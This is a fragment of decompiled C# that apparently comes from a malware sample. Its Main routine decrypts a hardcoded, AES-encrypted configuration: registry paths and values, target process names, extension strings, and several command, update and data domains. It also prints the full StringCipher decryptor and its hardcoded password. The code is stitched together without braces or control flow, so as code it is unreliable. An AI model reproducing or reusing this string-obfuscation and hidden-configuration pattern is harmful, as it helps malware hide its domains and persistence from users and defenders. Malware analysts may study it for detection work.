using System.Security.Cryptography;
public static void Main()
Program.soft_name = Program.StringCipher.Decrypt(Program.soft_name, Program.password);
Program.sid = Program.StringCipher.Decrypt(Program.sid, Program.password);
Program.pid = Program.StringCipher.Decrypt(Program.pid, Program.password);
Program.regPath1 = Program.StringCipher.Decrypt(Program.regPath1, Program.password);
Program.procName2 = Program.StringCipher.Decrypt(Program.procName2, Program.password);
Program.regValue1 = Program.StringCipher.Decrypt(Program.regValue1, Program.password);
Program.regValue2 = Program.StringCipher.Decrypt(Program.regValue2, Program.password);
Program.regValue3 = Program.StringCipher.Decrypt(Program.regValue3, Program.password);
Program.urlStr = Program.StringCipher.Decrypt(Program.urlStr, Program.password);
Program.regValue4 = Program.StringCipher.Decrypt(Program.regValue4, Program.password);
Program.regValue4Correct = Program.StringCipher.Decrypt(Program.regValue4Correct, Program.password);
Program.urlStr1 = Program.StringCipher.Decrypt(Program.urlStr1, Program.password);
Program.deskName = Program.StringCipher.Decrypt(Program.deskName, Program.password);
Program.soft_domain = Program.StringCipher.Decrypt(Program.soft_domain, Program.password);
for (int i = 0; i < Program.reservedDomains.Length; i++)
Program.reservedDomains[i] = Program.StringCipher.Decrypt(Program.reservedDomains[i], Program.password);
Console.WriteLine(Program.reservedDomains[i]);
Program.data_domain = Program.StringCipher.Decrypt(Program.data_domain, Program.password);
Program.update_domain = Program.StringCipher.Decrypt(Program.update_domain, Program.password);
Program.user = Program.StringCipher.Decrypt(Program.user, Program.password);
Program.prID = Program.StringCipher.Decrypt(Program.prID, Program.password);
Program.procName3 = Program.StringCipher.Decrypt(Program.procName3, Program.password);
Program.procName4 = Program.StringCipher.Decrypt(Program.procName4, Program.password);
Program.extensStr = Program.StringCipher.Decrypt(Program.extensStr, Program.password);
Program.paramStr = Program.StringCipher.Decrypt(Program.paramStr, Program.password);
Console.WriteLine(Program.StringCipher.Decrypt("74PgYqh6vb5saCLmjQB/oSDbUC8GuR3/u6BjYC7WFY9oFt9wHERUwooFPFFKZJ7IeTuYvSSLuaWRlHX4B82N5bpGp8CW715vOQhnGnQZPBNnjDq5hgtVJ6BB6vp6qfW9", Program.password));
string text = string.Concat(new string[]
HttpUtility.UrlDecode(Program.user),
HttpUtility.UrlDecode(Program.version),
HttpUtility.UrlDecode(Program.pid),
HttpUtility.UrlDecode(Program.sid)
string req = "{\"code\":1,\"status\":\"OK\",\"parser_version\":165}";
Program.user = Guid.NewGuid().ToString().Replace("-", "").ToLower().Substring(0, 20);
text = string.Concat(new string[]
HttpUtility.UrlDecode(Program.user),
HttpUtility.UrlDecode(Program.version),
HttpUtility.UrlDecode(Program.pid),
HttpUtility.UrlDecode(Program.sid)
public static string version = "165";
public static string soft_name = "SzHankkKzufxPqaNeh3mXEahTqEEjENeKYoa3j7UNcC7JV40nArH2SgEn1TlWIOHTqJTd1PPHwDfWMPlXTYLEFqfeHnjOj/fl+A9fPArwPmPLYazF+uLlZ8JFAwbY2y7";
public static string sid = "AFbFZenZeftGdtXtWRvYsISeODua67CUvK2MBKXPVUxqyRoVMcsoYqpEj9uec/uJqPYTZbUOFOgrMxdTyt8YCxMBSlJ1lwQQoy9YQkyLa/U/Wy9aj8RXCgRToFkUBoNh";
public static string pid = "U9Zks+y3ByqXDRCFODhzZ6xsw6xtsE7rdFv40Uya4euunNarz2jVrsOPfeSLQohfseuiUsAtPOdHwuj16v/VkMdit7Dqit2PMgfILXV9YlCWR694xjutZmwkjUAw8mk3";
public static string password = "QcpKgfeail";
public static string regPath1 = "7ROnbB0IXnxJm3LgnAg5x0ieoD3iZ30BBLr+qOrIUP1Kz7EavAMErebIm9SVZHY+2BvUKM+RGOnzA/QSzPHnAf5OAU9rBT5B/fK33e8Oq4GWEq1rpBcN8xcewwkxGtba";
public static string procName2 = "dU5W0MghoRBL0ntXQxin41PBpluxGVnLZS5n9ZRaOfN+qdK2JRyflgHQt6mVt1uJxT04mxoFTylsj1kAfy1gZ8jmNAXdNJKouS0/zJAayuy4RwNBCDSJSyqI1cq4iGQz";
public static string regValue1 = "GtYc5kDFZRgpEvqe80V6wcvHnsiafiVnMGGYsrxy0gdNLVm5XupVMlcK1SYaMD6Zs/flHFfPXxU3MM4bsamAUOHEDZZwCMQi18Nr24vkKcAwrK1E/cQwkfhQA3FEtHL6";
public static string regValue2 = "p9ZaCJN6S3rq19Iks7Bi619GkamqUqVOuSdYlJNyOuaTCx4Xta7aIZ13jl7W1BdPIGqFlgh12Q6L8LqsAYIECSi+yHUhm85IoDlh6DYlfz6HDdB3rwipnCxr6gy9azm9";
public static string regValue3 = "MPT9pDHOAuT31u8QcgNRF8y2fFQZtqIOsg/XSEC+yS6nQqPLB+B23N2BuA/M5w4uGnqgFD5LHpeJET/gSTldHHqo/Cfzu4BdswCOZCt1zMYVx9FVkYu+QZkxp0MFrGeo";
public static string urlStr = "jmz+E0mwIXRItW6n6W4/II/h5R3/OUOAc6RtUYGfsXSTwUHeeEAYWS3UxtkDKLccTiuCiBt+sxGTDqP8JohTfG4BSu2O2jycEiHHmKfscYYCC8Yg8Ck1cqIK0UB5OYOF";
public static string regValue4 = "gLpKGyFi7NzLmHXlgUWYwHqAc6zK3i4uRR5GE+W/MAcmqG4zt23VFUAJme210LdN2+gu6hmgbumWT4ZS2QE//SETZQwSrcofxMpICQVVCUKSTVMIosrdFmHV8rfa9Ncs";
public static string regValue4Correct = "+CFf8M1g5OzhTRMdTlI2xVmafRP0OFi9oDCSOrUuaA5SUfBj1386kw1k4LJYTxwZBPU5BEAgWRNoSjzR1aXICL9ub51ylASrr7nZ8LOIsvmYgWPSiizrsCl5v5AAk/4K";
public static string urlStr1 = "zyY/Pn/Ok3GaLbN9VX5kjVq84YZCzmsnNhYWgIBfkNaUuzhlQMSri2+zrFBuF3xchCN55A9gwEwKnXz42GXGZHx4uuWydaBYrG6frDSG50Ou62njihnJtxkcVxHHQCzy";
public static string deskName = "GfX4Jk88BcT4nUlGB3uSVYmKg40UufHofR/3YN7qITzVIYAskWGWEXYNNnrN5gyxyf0kYmkdoutbJqWM4CBSkWUuJ+Lyu6tRI73vC1/NcLRta6pUxJD8hq2OqdLHJ3/K";
public static string prID = "O4th2hwimfzh0IPDlwF4H8N3IU09AmfGuiV6S/G8eemzUz0lYoyLBiBh01L2VJpjFDOgddyHwyGVrksN6MX0TSXWOIl3nJ91PWU1JscoGdyzvXriETCXpAAbIRAhUBa5";
public static string procName3 = "dQPptTm7ij+0I0jkHe3khD2ykF6dk8LdyhLTkp0OlW+OWP7DUr2IE7qjTdw1ES/NLtETATI3K5w4gdD/a726rLVpGrb3jxTfaBanJFPFJrsMpwgdarULHoJaGPO80cB5";
public static string procName4 = "OILRB8vohj5yW5w/pmvn7rRWQY+NGL4KRY/1dk13NmCViYWHuStY+4fff4YrL82nsjQ5M5IzrXxlck2jF/bzl38N7nNGQBo2ad+g2ixOcefA1437O0WCnIwhUJN7zUjY";
public static string extensStr = "ZU52TjeSJ6cab6WNzkW8mClPWZ+U95th7Mhy29MLCdpDZJlEgAmmMLM6y+rnA4tmgJV6dYnQkxcgyagt3mMA4OWKyyivWWDtPgqq3EcRk5K1ewkFKC7eMyD52P5oEDdK";
public static string paramStr = "atD3Osft7OJdDMVqM3HD32I5AJuxh8yF+gWT1v6lcygYbUnCAHLDoxSjmS10aEew7D8T0MILLtks7OYwNu8Ipea1l7krN5loQrTxXy0aR+V0xTSodgxCU0Rzmgi6no8S";
public static string paramStr1 = " oYgNnhPO";
public static string soft_domain = "Y9hWbMIonsKJl5U681/QD1kHuK6ood5pe1pKWpvtYGku8GFyfSNMpTh426Fv1cz3O7qnzKdQlC91kWd65n0/AXZ/oIRhVZE1vXj0ibe3aqQZIv2f6nRrfhitbtxUECCy";
public static string[] reservedDomains1 = new string[]
"Y9hWbMIonsKJl5U681/QD1kHuK6ood5pe1pKWpvtYGku8GFyfSNMpTh426Fv1cz3O7qnzKdQlC91kWd65n0/AXZ/oIRhVZE1vXj0ibe3aqQZIv2f6nRrfhitbtxUECCy",
"i3OczNf7g3iM/ASelmL8/sjzAEohCh0vNkwCAKq5QkRbVZyw8pyoOcEsSSXee5GA711HTOemO+z/D9f2piT9DBSBFYTiNkSxg/IcjFP1LWJOY+KHvmp21obbsA7InP4v",
"FbSt75xpOQbQP/Ai1oXMZdCtZPUxlDie2xEgvBiyiGNoQSLaHp4DzGFPSDx8EiOOHY8C/hkfD4O33PE/uqw8XIYOq0lzka39ycVX8s8jf3FELjIn81rDP2dUu50WVqPs"
public static string[] reservedDomains = new string[]
"RCk1vBombHSrnlD2YNDauc1WBVKEHJcKCQgHP2hTYhgB08xzRRoP0Wgrt+Zpo0pc567Czyh5p8Dvw2bkU9sJ5/WwwQF8o6m+NRZw2qKmmyP1eyQ+Lh2pEK/Ipqg6lJgu",
"u8n5ujVViY0jYTG9Tk4Xw0euakXg8ijJKHsVlzGwgWym9vwGZg9CPsGOpDUTAkAR9WO5gZ69q8hHA9GZgfMiz4ocwBbl96517eCFVJ3QKffbZW3sqFifMBFkCbRDVcsZ",
"7XxAK1QkJgDrJdaE97bmLMBzjpz1EQfj2YO2trf04amzrM13mDskQQSFyRlqrU6pq/bZIQvvkSp/BaZ7V7Ukv2jlZzIofCmtfMRzcaJKMR01IHDmpF5A2HA48InEUOK9"
public static string data_domain = "V4lStaASoCEDF3/FEJX1rejOX3iPeiZgBKw+G3G7FBipsvQ+hciUddYNY1VQAq2XI3lOfBPyPCVUJ0GskrUaGJEmK+40Qsbo9XQ1PpyY4b01glH1xOBV/Nx3/10cz+u4";
public static string update_domain = "NSPmHqpiaPM+sXv0tN8iVrdl5jrU6Du0ZivDa6IV5BVSn5dcvqiPIXtLkpMnlAPXWXObY6tUGFc9LLd3a2CsvZ8INJV9KrlTGNrEbyw4YT+iePCp8S80BEPd07o3tYZD";
public static string tmp_version = "";
public static string tmp_url = "";
public static string user = "z3ww2jfyMEMqxHAXm4Ud2JoXW3JOhnKWI6oKdHKlBn+/w5RMF0K6FnzJyM8tfwemeQiUQsI9fAYme+XikEiVBiTxnrcX/r2ZlOFaVPwaUgqS0SfclfNCtrclGwQIqTpj";
public static RegistryKey hkey = null;
public static Thread thrdEmulate = null;
public static class StringCipher
public static string Decrypt(string cipherText, string passPhrase)
byte[] array = Convert.FromBase64String(cipherText);
byte[] salt = array.Take(32).ToArray<byte>();
byte[] rgbIV = array.Skip(32).Take(32).ToArray<byte>();
byte[] array2 = array.Skip(64).Take(array.Length - 64).ToArray<byte>();
using (Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(passPhrase, salt, 1000))
byte[] bytes = rfc2898DeriveBytes.GetBytes(32);
using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
rijndaelManaged.BlockSize = 256;
rijndaelManaged.Mode = CipherMode.CBC;
rijndaelManaged.Padding = PaddingMode.PKCS7;
using (ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor(bytes, rgbIV))
using (MemoryStream memoryStream = new MemoryStream(array2))
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, cryptoTransform, CryptoStreamMode.Read))
byte[] array3 = new byte[array2.Length];
int count = cryptoStream.Read(array3, 0, array3.Length);
@string = Encoding.UTF8.GetString(array3, 0, count);
public const int Keysize = 256;
public const int DerivationIterations = 1000;